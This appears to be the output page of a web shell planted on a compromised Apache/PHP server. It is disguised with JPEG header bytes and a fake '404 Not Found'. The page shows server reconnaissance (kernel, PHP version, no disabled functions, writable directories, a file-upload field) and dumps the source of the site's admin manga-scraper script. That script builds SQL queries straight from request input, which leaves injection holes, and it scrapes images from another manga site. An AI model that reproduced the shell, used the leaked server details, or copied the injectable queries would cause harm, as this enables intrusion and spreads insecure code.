����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/oladi/code/admin/posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/oladi/code/admin/posts/multichap_url.php
<?php
global $func,$DB,$ob_user,$arr_option;
$truyen_id = $CORE->input['id'] ?? 0;
if($truyen_id==0){
    return;
}
$row_truyen = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$truyen_id' "));
$chuong_id = $CORE->input['chuong_id'] ?? 0;
$count = 1;
if($chuong_id==0){
    $row_chuong = $DB->get_colum_tb('tb_chuong');
    $row_count = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='$truyen_id' "));
    $count = $row_count['total'] + 1;
}else {
    $row_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_id='$chuong_id' "));
    $count = $row_chuong['chuong_pos'];

}

if($row_chuong['chuong_server']!=''){
    $arr_server = explode('@',$row_chuong['chuong_server']);
}
$q_server = $DB->query("SELECT * FROM tb_server ORDER BY server_name");
$txt_op_server = '';
while($r_server = $DB->fetch_row($q_server)){
    if(strpos($row_chuong['chuong_server'],$r_server['server_id'].'@')!==false){
        $txt_op_server .= '<option value="'.$r_server['server_id'].'" selected>'.$r_server['server_name'].'</option>';
    }else{
        $txt_op_server .= '<option value="'.$r_server['server_id'].'">'.$r_server['server_name'].'</option>';
    }
}
$num_img = 0;
if($chuong_id>0){
    $q_img = $DB->query("SELECT * FROM tb_chuong_img WHERE chuong_id='$chuong_id' ORDER BY chuong_img_pos ASC ");
    $list_img = '';
    while($r_img = $DB->fetch_row($q_img)){
        $list_img .= '
        <div class="col-lg-3 col-md-4 col-sm-4 col-6 video position-relative mb-2">
                            <div class="card">
                                <img src="'.$r_img['domain'].'/'.$r_img['url_dir'].'/'.$r_img['file_name'].'" class="card-img-top" alt="'.$r_img['file_name'].'"></a>
                                <div class="card-body list-left-8-manga">
                                    <p class="card-text title-manga">'.$r_img['file_name'].'</p>
                                </div>
                            </div>
                        </div>
        ';
        $num_img++;
    }
}

if(isset($CORE->input['submitbt'])){
    $truyen_id = $CORE->input['id'] ?? 0;
    include 'lib/watermark.class.php';
    $url_get = $CORE->input['url_get'] ?? '';

    if($url_get!='') {
        include 'lib/simple_html_dom.php';
        $referer = 'https://1stkissmanga.me';
        $content = get_content_page_chap($url_get, $referer);
        $html = str_get_html($content);
        $i = 1;
        if (!is_dir('upload/tmp')) {
            mkdir('upload/tmp', 0755, true);
        }
        $total_chuong_page = count($html->find('ul.version-chap > *'));
        foreach($html->find('ul.version-chap li') as $val){
            $chap_name = trim($val->find('a',0)->plaintext);
            $fchap_name = $func->format_string($chap_name);
            $url_chap = trim($val->find('a',0)->href);
            //insert/update chap
            $row_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_name='$chap_name' AND truyen_id='$truyen_id' LIMIT 1 "));
            $chuong_id = 0;
            if($row_chuong){
                $chuong_id = $row_chuong['chuong_id'];
            }
            $get_img = 'no';
            if($chuong_id==0){
                $chuong_pos = ($total_chuong_page - $i)+1;
                $arr_name_folder = explode(' ',$chap_name);
                if(isset($arr_name_folder[1]) and !empty($arr_name_folder[1])) {
                    $chuong_pos = floatval($arr_name_folder[1]);
                }

                $arr_insert = array('truyen_id'=>$truyen_id,'chuong_server'=>'','chuong_name'=>$chap_name,'chuong_fname'=>$fchap_name,'chuong_pos'=>$chuong_pos,'chuong_number_img'=>0,'chuong_new'=>'','chuong_hit'=>0,'chuong_point'=>1,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>$ob_user->user_id);
                $chuong_id = $DB->do_insert('tb_chuong',$arr_insert);
                $get_img = 'yes';
            }else{//update
                if($row_chuong['chuong_number_img']==0){
                    $get_img = 'yes';
                    delete_img_chapter($chuong_id);
                }
            }
            if($get_img=='yes') {
                $content_chap = get_content_page_chap($url_chap, $referer);
                $html = str_get_html($content_chap);
                $j = 1;
                foreach ($html->find('div.reading-content div.page-break') as $val) {
                    $url_img = trim($val->find('img', 0)->src);
                    $content_img = get_content_page_chap($url_img, $referer);
                    $img_local = 'upload/tmp/' . $j . '.jpg';
                    file_put_contents($img_local, $content_img);
                    /*$im = imageCreateFromAny($img_local);
                    if ($im) {
                        if ($arr_option['use_watermark'] == 1) {
                            $watermark = new Watermark($img_local);
                            $watermark->setWatermarkImage($arr_option['watermark']);
                            switch ($arr_option['watermark_pos']) {
                                case 'bottom_right':
                                    $watermark->setType(Watermark::BOTTOM_RIGHT);
                                    break;
                                case 'top_right':
                                    $watermark->setType(Watermark::TOP_RIGHT);
                                    break;
                                case 'center':
                                    $watermark->setType(Watermark::CENTER);
                                    break;
                                case 'top_left':
                                    $watermark->setType(Watermark::TOP_LEFT);
                                    break;
                                case 'bottom_left':
                                    $watermark->setType(Watermark::BOTTOM_LEFT);
                                    break;
                            }
                            $a = $watermark->saveAs($img_local);
                        }
                        $newImagePath = 'upload/tmp/' . $j . '.webp';
                        $quality = 90;
                        $result = imagewebp($im, $newImagePath, $quality);
                        if(false === $result) {
                            $newImagePath = $img_local;
                        }else{
                            imagedestroy($im);
                        }
                    } else {
                        $newImagePath = $img_local . '.webp';
                        rename($img_local, $newImagePath);
                    }
                    unlink($img_local);*/
                    $arr_img[] = $img_local;
                    $j++;
                }
                $arr_img_return = post_ftp($arr_img, $truyen_id, $chuong_id);
                if (!empty($arr_img_return)) {
                    foreach ($arr_img_return as $key => $val) {
                        $arr_insert_img = array('truyen_id' => $truyen_id, 'chuong_id' => $chuong_id, 'domain' => $val['domain'], 'url_dir' => $val['url_dir'], 'file_name' => $val['file_name'], 'path_of_storage' => $val['path_of_storage'], 'chuong_img_pos' => $key, 'time_post' => date('Y-m-d H:i:s'), 'user_post' => $ob_user->user_id);
                        $DB->do_insert('tb_chuong_img', $arr_insert_img);
                    }
                }
                //update chuong
                $row_count_img = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong_img WHERE chuong_id='$chuong_id'"));
                $DB->query("UPDATE tb_chuong SET chuong_number_img='" . $row_count_img['total'] . "' WHERE chuong_id='$chuong_id' ");

                $i++;
                //show chap get
                ob_start();
                usleep(500000);
                echo '<img src="https://cdnjs.cloudflare.com/ajax/libs/galleriffic/2.0.1/css/loader.gif"><br/>';
                echo $chap_name . " with " . $row_count_img['total'] . " images updated from url chap: $url_chap !\n<br/>";
                doFlush();
            }else{

                $i++;
                //show chap already
                ob_start();
                usleep(500000);
                echo '<img src="https://cdnjs.cloudflare.com/ajax/libs/galleriffic/2.0.1/css/loader.gif"><br/>';
                echo $chap_name . " with " . $row_chuong['chuong_number_img'] . " images already update !\n<br/>";
                doFlush();
            }

        }
    }

    rrmdir('upload/tmp');
    //update follow
    $DB->query("UPDATE tb_follow SET already_read='' WHERE truyen_id='$truyen_id'");
    //update truyen
    $row_chuong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='".$truyen_id."' "));
    $DB->query("UPDATE tb_truyen SET truyen_sochuong='".$row_chuong['total']."',time_update='".date('Y-m-d H:i:s')."',user_update='".$ob_user->user_id."' WHERE truyen_id='$truyen_id'");
    $q_chuong = $DB->query("SELECT * FROM tb_chuong WHERE truyen_id='".$truyen_id."' ORDER BY chuong_pos DESC LIMIT 2");
    $i=1;
    while($r_chuong = $DB->fetch_row($q_chuong)){
        if($i==1){
            $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhat_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhat_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhat_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhat_isnew='".$r_chuong['chuong_new']."' ,truyen_chuong_moinhat_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
        }
        if($i==2){
            if($r_chuong['chuong_id']>0){
                $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhi_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhi_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhi_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhi_isnew='".$r_chuong['chuong_new']."',truyen_chuong_moinhi_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
            }
        }
        $i++;
    }
    close_popup('Updated!');
}
include ROOT_PATH . 'include/block/header_popup.php';
?>
    <div class="card">
        <div class="card-header bg-success">Post chapter manga <?php echo $row_truyen['truyen_name'];?></div>
        <div class="card-body" style="font-size: 12px;">
            <form method="post" id="form_hoan_tra" action="" enctype="multipart/form-data">
                <input type="hidden" value="<?php echo $truyen_id;?>" name="id">


                <div class="row">
                    <div class="col-sm-12">
                        <div class="form-group">
                            <label>URL manga get image (from https://1stkissmanga.me)</label>
                            <input type="text" name="url_get" class="form-control" value="">
                        </div>
                    </div>
                </div>

                <input type="submit" class="submit" style="display:none;" name="submitbt">
            </form>
        </div>
        <div class="card-footer" id="footer_submit">
            <a class="gui_yeu_cau btn btn-danger" href="javascript:void(0);">Submit</a>
            <a class="dong m-l-5 btn btn-dark" href="javascript:void(0);">Close</a>
        </div>
    </div>

    <script>
        $('.gui_yeu_cau').click(function (){
            $('#footer_submit').html('<div class="spinner-border text-primary" role="status"><span class="sr-only">Loading...</span></div>');
            $('#form_hoan_tra .submit').click();
            return false;
        });
        $('.dong').click(function (){
            window.close();
        });
    </script>
<?php
include ROOT_PATH . 'include/block/footer_popup.php';
exit();
?>

ZeroDay Forums Mini